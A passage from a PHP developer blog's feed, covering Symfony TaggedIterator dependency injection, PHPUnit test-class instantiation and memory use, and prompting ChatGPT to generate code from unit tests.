    'BuildSpreadsheet': ~
    'Mailer': ~
    'WriteSpreadsheet': ~
    'RetrieveDataForReportOne':
        tags:
            - { name: 'RetrieveDataForReport', priority: 200 }
    'RetrieveDataForReportTwo':
        tags:
            - { name: 'RetrieveDataForReport', priority: 100 }
</code></pre>

<p>Defining manually the service definition for every classes in our project is
all fun and games, and having to set tags is fine for now, as we only have two
Strategies.</p>

<p>But what if we need to add 1 more report? 2 more reports? 30 more reports?</p>

<h2 id="configuring-di-in-symfony-5.3---taggediterator">Configuring DI in Symfony (5.3) - TaggedIterator</h2>

<p>Since <a href="https://github.com/symfony/symfony/pull/22295">Symfony 3.3</a>,
the Dependency Injection's autowiring will inject dependencies named after the
type of the service arguments.</p>

<p>This works great for the constructor of <code>EmailDailyReports</code> (note the
conspicuously missing <code>EmailDailyReports</code>, <code>BuildSpreadsheet</code>, <code>Mailer</code> and
<code>WriteSpreadsheet</code>):</p>

<pre><code class="yaml">services:
    _defaults:
        autowire: true

    'RetrieveDataForReportOne':
        tags:
            - { name: 'RetrieveDataForReport', priority: 200 }
    'RetrieveDataForReportTwo':
        tags:
            - { name: 'RetrieveDataForReport', priority: 100 }
</code></pre>

<p>By adding <code>_defaults.autowire: true</code>, we were able to remove 8 lines of configuration!</p>

<p>Then, since <a href="https://github.com/symfony/symfony/pull/39804">Symfony 5.3</a>,
it is possible to automatically tag all the implementations,
by using the <code>#[AutoconfigureTag]</code> attribute on the interface:</p>

<pre><code class="php">&lt;?php

use Symfony\Component\DependencyInjection\Attribute\AutoconfigureTag;

#[AutoconfigureTag]
interface RetrieveDataForReport
{
    public function fromDatabase(\DateTime $startDate, \DateTime $endDate): array;
    public function getName(): string;
    public static function getDefaultPriority(): int;
}
</code></pre>

<p>This only works if <code>_defaults.autoconfigure</code> is set to <code>true</code> in the config
(note the conspicuously missing <code>RetrieveDataForReportOne</code> and <code>RetrieveDataForReportTwo</code>):</p>

<pre><code class="yaml">services:
    _defaults:
        autowire: true
        autoconfigure: true
</code></pre>

<p>You might have noticed that we've added a <code>public static function getDefaultPriority(): int</code>
method to our interface. Since the priorities configuration is gone from YAML,
the have to be returned by the implementations:</p>

<ul>
<li><code>RetrieveDataForReportOne::getDefaultPriority()</code> needs to return <code>200</code></li>
<li><code>RetrieveDataForReportTwo::getDefaultPriority()</code> needs to return <code>100</code></li>
</ul>

<p>Finally, since <a href="https://github.com/symfony/symfony/pull/40406">Symfony 5.3</a>,
it is also possible to inject an <code>iterator</code> containing all services that have a specific tag,
by using the <code>#[TaggedIterator]</code> attribute. Let's use it in the "Context" class:</p>

<pre><code class="php">&lt;?php

class EmailDailyReports
{
    public function __construct(
        private BuildSpreadsheet $buildSpreadsheet,
        private Mailer $mailer,
        private WriteSpreadsheet $writeSpreadsheet,
        #[TaggedIterator(RetrieveDataForReport::class, defaultPriorityMethod: 'getDefaultPriority')]
        private iterable $retrieveDataForReports,
    ) {
    }

    public function send(\DateTime $startDate, \DateTime $endDate): void
    {
        $email = (new Email())
            -&gt;from('sender@example.com')
            -&gt;to('recipient@example.com')
            -&gt;subject('Daily Reports')
            -&gt;text('Find reports in attached files');

        foreach ($this-&gt;retrieveDataForReports as $retrieveDataForReport) {
            $reportData = $retrieveDataForReport-&gt;fromDatabase($startDate, $endDate);
            $reportName = $retrieveDataForReport-&gt;getReportName();
            $reportSpreadsheet = $this-&gt;buildSpreadsheet-&gt;using($reportData, $reportName);
            $reportFilename = $this-&gt;writeSpreadsheet-&gt;save($reportSpreadsheet);

            $email-&gt;attachFromPath($reportFilename, $reportName, 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
        }

        $this-&gt;mailer-&gt;send($email);
    }
}
</code></pre>

<p>This means we can remove the <code>CompilerPass</code> (and unregister it from the Bundle).</p>

<p>You'll also note that we've removed from <code>EmailDailyReports</code> the following methods:</p>

<ul>
<li><code>register()</code>: the "Strategies" are no longer injected one by one</li>
<li><code>getSortedRetrieveDataForReports()</code>: TaggedIterator supports sorting by priorities,
but it requires the "Strategies" to have a <strong>static</strong> method that returns the priority</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>To sum up:</p>

<ul>
<li>Tag the "Strategy" Interface with the attribute <code>[#AutoconfigureTag]</code></li>
<li>Inject the <code>iterable</code> that contains all tagged "Strategy" implementations
in the "Context"'s constructor with the attribute <code>#[TaggedIterator(&lt;tag&gt;)]</code></li>
<li>Set <code>autowire</code> and <code>autoconfigure</code> parameters to be <code>true</code> in the DIC configuration</li>
</ul>

<p>The use case doesn't demonstrate how to avoid multiple use statements,
but this can be done by adding a "predicate" method to the "Strategy":
this will allow the "Context" to only execute a sub set of the strategies.</p>

<p>It's even possible to only execute the first strategy,
by adding a <code>break</code> in the loop.</p>

<p>I've tried to synthesize as much information as possible at the top of this article,
in the ironically (yet aptly) named "TL;DR" section.</p>

<p>I hope this'll prove useful to you (it'll definitely be for me!).</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[PHPUnit setUp() is a lie]]></title>
            <link href="/2024/07/03/phpunit-setup-is-a-lie.html"/>
            <updated>2024-07-03T00:00:00+01:00</updated>
            <id>/2024/07/03/phpunit-setup-is-a-lie.html</id>
            <content type="html"><![CDATA[<p><a href="https://phpunit.de/index.html">PHPUnit</a> creates as many instances a Test Class, as it has test methods.</p>

<h2 id="proof-and-it-gets-worse">Proof (and it gets worse)</h2>

<p>Let's set up a project to verify our claim:</p>

<pre><code>mkdir /tmp/phpunit-is-a-cake &amp;&amp; cd "$_"
composer init --no-interaction --name 'follow/the-white-rabbit' --type project --autoload '.'
composer require -o --dev phpunit/phpunit:^9.6
</code></pre>

<p>Next we write a catchy test:</p>

<pre><code>&lt;?php declare(strict_types=1);
use PHPUnit\Framework\TestCase;

class CatchyTest extends TestCase
{
    private string $letMeCountThemForYou = '';

    public function __construct($name = null, array $data = [], $dataName = '')
    {
        parent::__construct($name, $data, $dataName);

        echo "How many times have I, how many times have I, how many times have I been instanciated?\n";
    }

    public function __destruct()
    {
        echo "Till the morning light\n";
    }

    public function testOne(): void
    {
        $this-&gt;letMeCountThemForYou .= 'One';

        echo "{$this-&gt;letMeCountThemForYou}\n";
    }

    public function testTwo(): void
    {
        $this-&gt;letMeCountThemForYou .= 'Two';

        echo "{$this-&gt;letMeCountThemForYou}\n";
    }

    /**
     * @dataProvider provider
     */
    public function testMore($times): void
    {
        $this-&gt;letMeCountThemForYou .= $times;

        echo "{$this-&gt;letMeCountThemForYou}\n";
    }

    public function provider(): array
    {
        return [['Three'], ['Four'], ['Five'], ['Six'], ['Seven'], ['Eight']];
    }
}
</code></pre>

<p>Finally we run the tests to see the output:</p>

<pre><code>&gt; phpunit ./CatchyTest.php
How many times have I, how many times have I, how many times have I been instanciated?
How many times have I, how many times have I, how many times have I been instanciated?
How many times have I, how many times have I, how many times have I been instanciated?
Till the morning light
How many times have I, how many times have I, how many times have I been instanciated?
How many times have I, how many times have I, how many times have I been instanciated?
How many times have I, how many times have I, how many times have I been instanciated?
How many times have I, how many times have I, how many times have I been instanciated?
How many times have I, how many times have I, how many times have I been instanciated?
How many times have I, how many times have I, how many times have I been instanciated?
PHPUnit 9.6.19 by Sebastian Bergmann and contributors.

ROne
RTwo
RThree
RFour
RFive
RSix
RSeven
R                                                            8 / 8 (100%)Eight
// [...]
Till the morning light
Till the morning light
Till the morning light
Till the morning light
Till the morning light
Till the morning light
Till the morning light
Till the morning light
</code></pre>

<p>And Bob's your uncle! Hang on, what?</p>

<p>The constructor has been called 3 (test methods) + 6 (items in data provider) = 9 times
and we can observe that the class attribute's value isn't shared between the test methods
but gets reset every time.</p>

<p>And those instances stay alive until the vey end of the run,
meaning a concerningly increasing memory usage througout the test suite,
which also slows it down!</p>

<h2 id="%22solution%22">"Solution"</h2>

<p>There's <a href="https://kriswallsmith.net/post/18029585104/faster-phpunit">a hack that's been around for decades</a>
to free the memory and speed up the test suites:</p>

<pre><code>&lt;?php declare(strict_types=1);
use PHPUnit\Framework\TestCase;

abstract class BaseTestCase extends TestCase
{
    protected function tearDown()
    {
        $refl = new ReflectionObject($this);
        foreach ($refl-&gt;getProperties() as $prop) {
            if (!$prop-&gt;isStatic() &amp;&amp; 0 !== strpos($prop-&gt;getDeclaringClass()-&gt;getName(), 'PHPUnit\\')) {
                $prop-&gt;setAccessible(true);
                $prop-&gt;setValue($this, null);
            }
        }
    }
}
</code></pre>

<p>The <code>tearDown</code> method is called after each test method, so it's a good place to unset class attributes.</p>

<p>To avoid having to think about it, a catch all solution using relfection can be put inside a custom <code>BaseTestCase</code>
that'll be extended by all our test classes.</p>

<p>And indeed most of the code bases don't directly extend PHPUnit's TestCase,
for example <a href="https://symfony.com/doc/current/testing.html">Symfony's documentation suggest to use FrameworkBundle's KernelTestCase</a>.</p>

<p>But what does it do exactly?</p>

<h2 id="showing-the-bad-example">Showing the bad example</h2>

<p>Here's a highly opinionated summary of its code:</p>

<pre><code>&lt;?php

namespace Symfony\Bundle\FrameworkBundle\Test;

use PHPUnit\Framework\TestCase;
use Symfony\Component\HttpKernel\KernelInterface;

abstract class KernelTestCase extends TestCase
{
    protected static ?KernelInterface $kernel = null;

    protected static function bootKernel(): KernelInterface
    {
        static::$kernel = new \AppKernel('test', true);
        $kernel-&gt;boot();

        return static::$kernel;
    }

    protected function tearDown(): void
    {
        if (null !== static::$kernel) {
            static::$kernel-&gt;shutdown();
            static::$kernel = null;
        }
    }
}
</code></pre>

<p>Symfony's HttpKernel is stateless, so being able to boot it (which is slow) only once
and store it in a static attribute of a TestCase that all our functional test implement is great!</p>

<p>However calling <code>bootKernel</code> will always return a new instance of the application kernel and will always boot it,
while the <code>tearDown</code> method also makes sure to nuke it after each test method...</p>

<p>Now I can't pretend to know the reason behind this (maybe assuming that applications are stateful?),
nor am I familiar with all the different applications out there and their specific use cases,
but that seems very unfortunate to me.</p>

<p>To fix it, we can rewrite it as follow:</p>

<pre><code>&lt;?php declare(strict_types=1);
use PHPUnit\Framework\TestCase;
use Symfony\Component\HttpKernel\KernelInterface;

abstract class MyTestCase extends TestCase
{
    protected static ?KernelInterface $kernel = null;

    protected static function getKernel(): KernelInterface
    {
        if (null === static::$kernel) {
            static::$kernel = new \AppKernel('test', true);
            $kernel-&gt;boot();
        }

        return static::$kernel;
    }
}
</code></pre>

<p>We got rid of the kernel shutdown shenanigans (can be called manually if needed),
and made sure the Kernel is instanciated (and booted) only once.</p>

<p>But why have this as part of the TestCase? This should be extracted into its own class:</p>

<pre><code>&lt;?php declare(strict_types=1);
use Symfony\Component\HttpKernel\KernelInterface;

class KernelSingleton
{
    protected static ?KernelInterface $kernel = null;

    protected static function get(): KernelInterface
    {
        if (null === static::$kernel) {
            static::$kernel = new \AppKernel('test', true);
            $kernel-&gt;boot();
        }

        return static::$kernel;
    }
}
</code></pre>

<p>I know, I know. The Singleton desing pattern has been receiving a lot of bad rap over the years.
But here, it's a legitimate use case!</p>

<h2 id="conclusion">Conclusion</h2>

<p>What have we learned?</p>

<p>That each PHPUnit test method is run in isolation inside its own Test Class instance,
so class attribute values will rapidly consume more and more memory (and slow down the test suite),
and they cannot be shared between two test methods unless you make them static.</p>

<p>And perhaps consider using Singletons instead of relying on "FrameworkTestCase".</p>

<p>As for PHPUnit's setUp method, in your opinion, is it best described as "executed before each test method",
or as "executed everytime the test class is instanciated"?</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[ChatGPT: fluff or not? SpecBDD]]></title>
            <link href="/2023/04/19/chat-gpt-spec-bdd.html"/>
            <updated>2023-04-19T00:00:00+01:00</updated>
            <id>/2023/04/19/chat-gpt-spec-bdd.html</id>
            <content type="html"><![CDATA[<p>Now that a couple of months have passed since its over hyped launch,
surely <a href="https://openai.com/blog/chatgpt/">ChatGPT</a> has found some
use cases where it could be of any actual use. Or is it all fluff? Let's find out.</p>

<p>In my quest to find a use for ChatGPT in my day to day developer activity,
I've finally found a helpful scenario!</p>

<p>Let me walk you through my findings about ChatGPT and its "Spec Gen" capacity,
so we can learn a thing or two.</p>

<h2 id="spec-gen">Spec Gen</h2>

<p>When tasked to write a feature, I first write a unit test that specifies the
behaviour, for example:</p>

<pre><code>&lt;?php

namespace spec\Vendor\Project;

use Vendor\Project\Service\Filesystem;
use Vendor\Project\File;
use PhpSpec\ObjectBehavior;

class TextEditorSpec extends ObjectBehavior
{
    private const FILENAME = '/tmp/file.txt';
    private const FORCE_FILE_CREATION = true;

    function let(Filesystem $filesystem): void
    {
        $this-&gt;beConstructedWith($filesystem);
    }

    function it_creates_new_files(File $file, Filesystem $filesystem): void
    {
        $filesystem-&gt;exists(self::FILENAME)-&gt;willReturn(false);
        $filesystem-&gt;create(self::FILENAME)-&gt;willReturn($file);

        $this-&gt;open(self::FILENAME, self::FORCE_FILE_CREATION)-&gt;shouldBe($file);
    }
}
</code></pre>

<p>When using <a href="https://phpspec.net/en/stable/">phpspec</a>,
especially with the extension <a href="https://github.com/memio/spec-gen">spec-gen</a>,
running the test will bootstrap for me the corresponding class:</p>

<pre><code>&lt;?php

namespace Vendor\Project;

use Vendor\Project\Service\Filesystem;

class TextEditor
{
    private $filesystem;

    public function __construct(Filesytem $filesystem)
    {
        $this-&gt;filesystem = $filesystem;
    }

    public function open(string $argument1, bool $argument2)
    {
    }
}
</code></pre>

<p>That's pretty good, but it could be better: what if it was able to generate the complete code?</p>

<h2 id="gpt-gen">GPT Gen</h2>

<p>Let's forget about phpspec and use instead <a href="https://phpunit.de/">PHPUnit</a>,
but still with the <a href="https://github.com/phpspec/prophecy">Prophecy</a>
Mocking framework.</p>

<p>Let's ask ChatGPT. Here's the priming prompt:</p>

<blockquote>
  <p><strong>USER</strong>:
  Act as an expert PHP developer,
    who's been writing high quality API code for 20 years.
  Acknowledge with "ok".</p>
</blockquote>

<p>Because ChatGPT's Large Language Model (LLM) is able to generate a wide range
of text (conversation, essays, movie script, poetry, etc), assigning it a role
helps it narrow down its context, hence improving its accuracy for the task we
want it to complete: writing PHP code, on a professional level
(persona/role prompt engineering technique).</p>

<p>We also need to consider the Goldfish Memory issue of ChatGPT: it only takes
into account the last ~4000 tokens to generate its response, so asking it to
give us a short reply helps us save some space.</p>

<blockquote>
  <p><strong>ChatGPT</strong>: ok</p>
</blockquote>

<p>LLMs perform better when given some examples, and indeed before asking it to
generate code we might want to give ChatGPT some of our code samples
(X-Shot prompt engineering technique).</p>

<p>Since coding also requires some level of logic, it is also helpful to include
reasoning steps (Chain of Thought prompt engineering technique).</p>

<p>Similarly, asking the LLM to first generate some topic related knowledge,
and then reuse that in the further prompts will also increase our success rate
(Generated Knowledge prompt engineering technique).</p>

<p>With this in mind, here's the second prompt that provides a test class example:</p>

<blockquote>
  <p><strong>USER</strong>: Here's an example of test class from the project you're working on:</p>
</blockquote>

<pre><code>&lt;?php

declare(strict_types=1);

namespace tests\Ssc\Btlr\Cht\Message\Templates\Prompts;

use Ssc\Btlr\App\Filesystem\ReadFile;
use Ssc\Btlr\App\Template\Replace;
use Ssc\Btlr\Cht\Message\Logs\Type;
use Ssc\Btlr\Cht\Message\Logs\WriteLog;
use Ssc\Btlr\Cht\Message\Templates\Prompts\Template;
use tests\Ssc\Btlr\AppTest\BtlrServiceTestCase;

class TemplateTest extends BtlrServiceTestCase
{
    /**
     * @test
     */
    public function it_creates_prompt_from_template(): void
    {
        // Fixtures
        $thoseParameters = [
            'last_messages' =&gt; 'USER (1968-04-02T18:40:23+00:00): Write code for me, please',
        ];
        $forType = Type::AUGMENTED_PROMPT;
        $withConfig = [
            'chunk_memory_size' =&gt; 15,
            'llm_engine' =&gt; 'chatgpt-gpt-3.5-turbo',
            'logs_filename' =&gt; './var/cht/logs',
            'prompt_templates_filename' =&gt; './templates/cht/prompts',
        ];

        $template = "LAST MESSAGES:\n%last_messages%\nBTLR:\n";
        $prompt = "LAST MESSAGES:\n{$thoseParameters['last_messages']}\nBTLR:\n";
        $data = [
            'entry' =&gt; $prompt,
        ];

        // Dummies
        $readFile = $this-&gt;prophesize(ReadFile::class);
        $replace = $this-&gt;prophesize(Replace::class);
        $writeLog = $this-&gt;prophesize(WriteLog::class);

        // Stubs &amp; Mocks
        $readFile-&gt;in("{$withConfig['prompt_templates_filename']}/{$forType['name']}.txt")
            -&gt;willReturn($template);
        $replace-&gt;in($template, $thoseParameters)
            -&gt;willReturn($prompt);
        $writeLog-&gt;for($data, $forType, $withConfig)
            -&gt;shouldBeCalled();

        // Assertion
        $template = new Template(
            $readFile-&gt;reveal(),
            $replace-&gt;reveal(),
            $writeLog-&gt;reveal(),
        );
        self::assertSame($prompt, $template-&gt;replace(
            $thoseParameters,
            $forType,
            $withConfig,
        ));
    }
}
</code></pre>

<blockquote>
  <p><strong>USER</strong>:
  Acknowledge by describing how the use of fixtures, dummies, stubs, mocks
  and assertions allow to make sure the tested code is behaving as expected.
  And note the use of the special BtlrServiceTestCase parent class for <code>TemplateTest</code>.</p>
</blockquote>

<p>By the way, the code is from my Super Secret Code project
<a href="https://github.com/gnugat/ssc-btlr">Btlr</a>.</p>

<p>Here's ChatGPT's response:</p>

<blockquote>
  <p><strong>ChatGPT</strong>:
  In this test class, fixtures are used to provide the necessary data for
  testing the <code>Template</code> class. The parameters and configuration are defined in
  <code>$thoseParameters</code> and <code>$withConfig</code> respectively, and the template and prompt
  strings are defined in <code>$template</code> and <code>$prompt</code>.</p>
  
  <p>Dummies are used to provide the interface of the <code>ReadFile</code>, <code>Replace</code>, and
  <code>WriteLog</code> classes, without providing any actual implementation, since these
  classes are not the focus of the test.</p>
  
  <p>Stubs are used to replace the implementation of <code>ReadFile</code> and <code>Replace</code>
  classes, by returning a fixed value when their respective methods are called.
  This ensures that the expected values are used for testing the <code>Template</code> class.</p>
  
  <p>Mocks are used to verify that the <code>WriteLog</code> class is called with the expected
  parameters. The <code>shouldBeCalled()</code> method ensures that the <code>for()</code> method of
  <code>WriteLog</code> class is actually called during the test.</p>
  
  <p>Finally, the assertion compares the result returned by the <code>replace()</code> method
  of the <code>Template</code> class with the expected prompt string.</p>
  
  <p>The <code>BtlrServiceTestCase</code> class is a special parent class that sets up a test
  environment for the Btlr service, which can include initializing dependencies,
  connecting to databases, and setting up configurations. This helps to ensure
  that tests are run in a consistent and isolated environment, and makes it easier
  to write tests for the Btlr service.</p>
</blockquote>

<p>ChatGPT doesn't have access to the project and its code, it only knows what we've
provided in the conversation so far.</p>

<p>So for example it took a wild guess at what <code>BtlrServiceTestCase</code> does and got
it wrong, but for our purpose this is good enough.</p>

<p>The third prompt is an example of the corresponding class:</p>

<blockquote>
  <p><strong>USER</strong>:
  When tasked with generating the corresponding <code>Template</code> class, from the above
  <code>TemplateTest</code> test class, here's the code you wrote:</p>
</blockquote>

<pre><code>&lt;?php

declare(strict_types=1);

namespace Ssc\Btlr\Cht\Message\Templates\Prompts;

use Ssc\Btlr\App\Filesystem\ReadFile;
use Ssc\Btlr\App\Template\Replace;
use Ssc\Btlr\Cht\Message\Logs\WriteLog;

class Template
{
    public function __construct(
        private ReadFile $readFile,
        private Replace $replace,
        private WriteLog $writeLog,
    ) {
    }

    public function replace(
        array $thoseParameters,
        array $forType,
        array $withConfig,
    ): string {
        $template = $this-&gt;readFile-&gt;in(
            "{$withConfig['prompt_templates_filename']}/{$forType['name']}.txt",
        );
        $prompt = $this-&gt;replace-&gt;in($template, $thoseParameters);
        $this-&gt;writeLog-&gt;for([
            'entry' =&gt; $prompt,
        ], $forType, $withConfig);

        return $prompt;
    }
}
</code></pre>

<blockquote>
  <p><strong>USER</strong>: Acknowledge by describing how the test class got translated into its
  corresponding class.</p>
</blockquote>

<p>To which ChatGPT replies:</p>

<blockquote>
  <p><strong>ChatGPT</strong>:
  The <code>TemplateTest</code> test class served as a guide for implementing the
  <code>Template</code> class.</p>
  
  <p>First, the constructor of <code>Template</code> class takes three dependencies, which
  are also injected in the <code>TemplateTest</code> class as dummies or mocks.</p>
  
  <p>Next, the <code>replace()</code> method of <code>Template</code> class has the same signature as
  the test method <code>it_creates_prompt_from_template()</code>, with the addition of a
  return type declaration for the prompt string.</p>
  
  <p>The implementation of <code>replace()</code> method in <code>Template</code> class uses the
  injected <code>ReadFile</code> instance to read the template string from the filesystem,
  using the <code>$forType['name']</code> parameter to construct the file path.
  It then uses the injected <code>Replace</code> instance to replace placeholders in the
  template with values provided in the <code>$thoseParameters</code> array, resulting in
  a <code>$prompt</code> string.</p>
  
  <p>Finally, the method calls the injected <code>WriteLog</code> instance with the <code>$prompt</code>,
  <code>$forType</code>, and <code>$withConfig</code> parameters, which logs the prompt for the given
  type and configuration.</p>
  
  <p>Overall, the implementation of the <code>Template</code> class closely follows the
  structure of the <code>TemplateTest</code> class, and the use of dependency injection
  ensures that the class can be easily tested in isolation from its
  dependencies.</p>
</blockquote>

<p>With ChatGPT noting that the corresponding class closely follows the structure
of its test, it should be now ready.</p>

<p>Let's give it a new test class, and ask it to generate the corresponding code:</p>

<blockquote>
  <p><strong>USER</strong>: Brilliant. Now, in the same coding style as <code>TemplateTest</code> and
  <code>Template</code>, you are tasked to write a the corresponding code for the
  following <code>ReplyTest</code> test class:</p>
</blockquote>

<pre><code>&lt;?php

declare(strict_types=1);

namespace tests\Ssc\Btlr\Cht\Message;

use Ssc\Btlr\Cht\Message\Logs\Type;
use Ssc\Btlr\Cht\Message\Logs\WriteLog;
use Ssc\Btlr\Cht\Message\Memory\Consolidate;
use Ssc\Btlr\Cht\Message\Reply;
use Ssc\Btlr\Cht\Message\Reply\Augment;
use Ssc\Btlr\Cht\Message\Reply\UsingLlm;
use tests\Ssc\Btlr\AppTest\BtlrServiceTestCase;

class ReplyTest extends BtlrServiceTestCase
{
    /**
     * @test
     */
    public function it_replies_to_user_prompt_using_llm(): void
    {
        // Fixtures
        $userPrompt = 'Write code for me, please';
        $withConfig = [
            'chunk_memory_size' =&gt; 15,
            'llm_engine' =&gt; 'chatgpt-gpt-3.5-turbo',
            'logs_filename' =&gt; './var/cht/logs',
            'prompt_templates_filename' =&gt; './templates/cht/prompts',
        ];

        $userPromptData = [
            'entry' =&gt; $userPrompt,
        ];
        $augmentedPrompt = "USER: {$userPrompt}\nBLTR:";
        $modelCompletion = "I'm sorry, dev. I'm afraid I can't do that.";
        $modelCompletionData = [
            'entry' =&gt; $modelCompletion,
            'llm_engine' =&gt; $withConfig['llm_engine'],
        ];

        // Dummies
        $augment = $this-&gt;prophesize(Augment::class);
        $consolidate = $this-&gt;prophesize(Consolidate::class);
        $usingLlm = $this-&gt;prophesize(UsingLlm::class);
        $writeLog = $this-&gt;prophesize(WriteLog::class);

        // Stubs &amp; Mocks
        $writeLog-&gt;for($userPromptData, Type::USER_PROMPT, $withConfig)
            -&gt;shouldBeCalled();
        $augment-&gt;the($userPrompt, $withConfig)
            -&gt;willReturn($augmentedPrompt);
        $usingLlm-&gt;complete($augmentedPrompt)
            -&gt;willReturn($modelCompletion);
        $writeLog-&gt;for($modelCompletionData, Type::MODEL_COMPLETION, $withConfig)
            -&gt;shouldBeCalled();
        $consolidate-&gt;memories($withConfig)
            -&gt;shouldBeCalled();

        // Assertion
        $reply = new Reply(
            $augment-&gt;reveal(),
            $consolidate-&gt;reveal(),
            $usingLlm-&gt;reveal(),
            $writeLog-&gt;reveal(),
        );
        self::assertSame($modelCompletion, $reply-&gt;to(
            $userPrompt,
            $withConfig,
        ));
    }
}
</code></pre>

<blockquote>
  <p><strong>USER</strong>: Acknowledge by generating the code for the <code>Reply</code> class.</p>
</blockquote>

<p>And here's what ChatGPT came up with:</p>

<blockquote>
  <p><strong>ChatGPT</strong>: Sure thing! Here's the code for the <code>Reply</code> class based on the
  <code>ReplyTest</code> test class:</p>
</blockquote>

<pre><code>&lt;?php

declare(strict_types=1);

namespace Ssc\Btlr\Cht\Message;

use Ssc\Btlr\Cht\Message\Logs\Type;
use Ssc\Btlr\Cht\Message\Logs\WriteLog;
use Ssc\Btlr\Cht\Message\Memory\Consolidate;
use Ssc\Btlr\Cht\Message\Reply\Augment;
use Ssc\Btlr\Cht\Message\Reply\UsingLlm;

class Reply
{
    public function __construct(
        private Augment $augment,
        private Consolidate $consolidate,
        private UsingLlm $usingLlm,
        private WriteLog $writeLog,
    ) {
    }

    public function to(string $userPrompt, array $withConfig): string
    {
        $userPromptData = [
            'entry' =&gt; $userPrompt,
        ];

        // Augment the user prompt
        $augmentedPrompt = $this-&gt;augment-&gt;the($userPrompt, $withConfig);

        // Use LLM to generate a model completion
        $modelCompletion = $this-&gt;usingLlm-&gt;complete($augmentedPrompt);

        // Log the user prompt and model completion
        $this-&gt;writeLog-&gt;for($userPromptData, Type::USER_PROMPT, $withConfig);
        $modelCompletionData = [
            'entry' =&gt; $modelCompletion,
            'llm_engine' =&gt; $withConfig['llm_engine'],
        ];
        $this-&gt;writeLog-&gt;for($modelCompletionData, Type::MODEL_COMPLETION, $withConfig);

        // Consolidate the memories
        $this-&gt;consolidate-&gt;memories($withConfig);

        return $modelCompletion;
    }
}
</code></pre>

<blockquote>
  <p><strong>ChatGPT</strong>: This <code>Reply</code> class has a <code>to</code> method that takes a user prompt
  and a configuration array as input, and returns the model completion
  generated by LLM.
  The <code>Reply</code> class constructor takes in four dependencies: <code>Augment</code>,
  <code>Consolidate</code>, <code>UsingLlm</code>, and <code>WriteLog</code>, and stores them as private
  properties.
  The <code>to</code> method then uses these dependencies to augment the user prompt,
  generate the model completion, log both the user prompt and the model
  completion, and consolidate the memories.</p>
</blockquote>

<p>Which is pretty much spot on.</p>

<p>I'd personnally have written something slightly different (no comments, have
 <code>writeLog</code> for the user prompt at the begining of the method, and possibly
not have any intermediate variables).</p>

<p>But I can easily apply those changes!</p>

<h2 id="takeways">Takeways</h2>

<p>Thanks to Prompt Engineering (with techniques such as Role / Persona priming
prompt, X-Shot, Chain of Thought and Generated Knowledge), it is possible
to ask ChatGPT to generate code.</p>

<p>I'm personally using the following prompts to generate the corresponding code
for a given Test Class.</p>

<p>Priming Prompt:</p>

<blockquote>
  <p>Act as an expert PHP developer, who's been writing high quality API code for 20 years.
  Acknowledge with "ok".</p>
</blockquote>

<p>Test Class example prompt:</p>

<blockquote>
  <p>Here's an example of test class from the project you're working on:</p>
  
  <p><code>%example_test_class_code%</code></p>
  
  <p>Acknowledge by describing how the use of fixtures, dummies, stubs, mocks
  and assertions allow to make sure the tested code is behaving as expected.
  And note the use of the special BtlrServiceTestCase parent class for
  <code>%example_test_class_name%</code>.</p>
</blockquote>

<p>Corresponding class example prompt:</p>

<blockquote>
  <p>When tasked with generating the corresponding <code>%example_class_name%</code> class,
  from the above <code>%%example_test_class_name</code> test class, here's the code you wrote:</p>
  
  <p><code>%example_class_code%</code></p>
  
  <p>Acknowledge by describing how the test class got translated into its
  corresponding class.</p>
</blockquote>

<p>Code generation request from Test Class prompt:</p>

<blockquote>
  <p>Brilliant. Now, in the same coding style as <code>%example_test_class_name%</code> and
  <code>%example_class_name%</code>, you are tasked to write a the corresponding code for
  the following <code>%test_class_name%</code> test class:</p>
  
  <p><code>%test_class_code%</code></p>
  
  <p>Acknowledge by generating the code for the <code>%class_name%</code> class.</p>
</blockquote>

<p>Now, what if you're not practicing Test Driven Development?</p>

<p>I suppose you can tweek it to get ChatGPT to generate tests for you:</p>

<ul>
<li>Use the same priming prompt</li>
<li>Then use the class example prompt</li>
<li>Next use the "corresponding" test example prompt</li>
<li>Finally provide a class and ask ChatGPT to generate its corresponding test</li>
</ul>

<p>All in all, the exploration of ChatGPT's text generation potential turned out
to be quite worthwhile, as I ended up finding a practical use case for it in my
day to day developer activity.</p>

<p>Yet I suspect there's plenty more scenarions where ChatGPT can help, so I guess
the quest continues.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[ChatGPT: fluff or not? Goldfish Memory]]></title>
            <link href="/2023/04/04/chat-gpt-goldfish-memory.html"/>
            <updated>2023-04-04T00:00:00+01:00</updated>
            <id>/2023/04/04/chat-gpt-goldfish-memory.html</id>
            <content type="html"><![CDATA[<p>Now that a couple of months have passed since its over hyped launch,
surely <a href="https://openai.com/blog/chatgpt/">ChatGPT</a> has found some
use cases where it could be of any actual use. Or is it all fluff? Let's find out.</p>

<p>In my quest to find a use for ChatGPT in my day to day developer activity,
I've stumbled upon this article:
<a href="https://allenpike.com/2023/175b-parameter-goldfish-gpt">a 175-Billion-Parameter Goldfish</a>,
from <a href="http://www.twitter.com/apike/">Allen Pike</a>.</p>

<p>Granted, this doesn't bring me anywhere close to my goal...
Yet, this peaked my developer interest, by opening a window on some of the
inner workings of ChatGPT.</p>

<p>Let me walk you through my findings about ChatGPT and its Goldfish Memory
problem, so we can learn a thing or two.</p>

<h2 id="the-goldfish-memory-issue">The Goldfish Memory issue</h2>

<p>When using ChatGPT, have you often encountered the frustrating
"Goldfish Memory" issue, where it forgets the early conversation's context,
resulting in responses that appear unrelated or inappropriate?</p>

<p>This problem is due to how Large Language Models (LLMs), like OpenAI's GPT,
work.</p>

<p>They fundamentally are stateless functions that accept one prompt as an input,
and return a completion as an ouptut (I believe the output actually also
contains the prompt).</p>

<p>Consider the following first "user" prompt:</p>

<pre><code>Hi, my name is Loïc
</code></pre>

<p>And its completion:</p>

<pre><code>Hello Loïc, it's nice to meet you! How can I assist you today?
</code></pre>

<p>Now, if we were to send the following second user prompt:</p>

<pre><code>What is my name?
</code></pre>

<p>The LLM wouldn't be able to return the expected completion <code>Your name's Loïc</code>,
because they only accept one single prompt, and the name is missing from that
second user prompt.</p>

<h2 id="llm%2C-but-for-chats">LLM, but for chats</h2>

<p>To build a chat system similar to ChatGPT, instead of sending directly the
user prompt to the LLM, we can create an "augmented" prompt which contains all
the previous user prompts and their completions, as well as the new user prompt,
in a conversation format:</p>

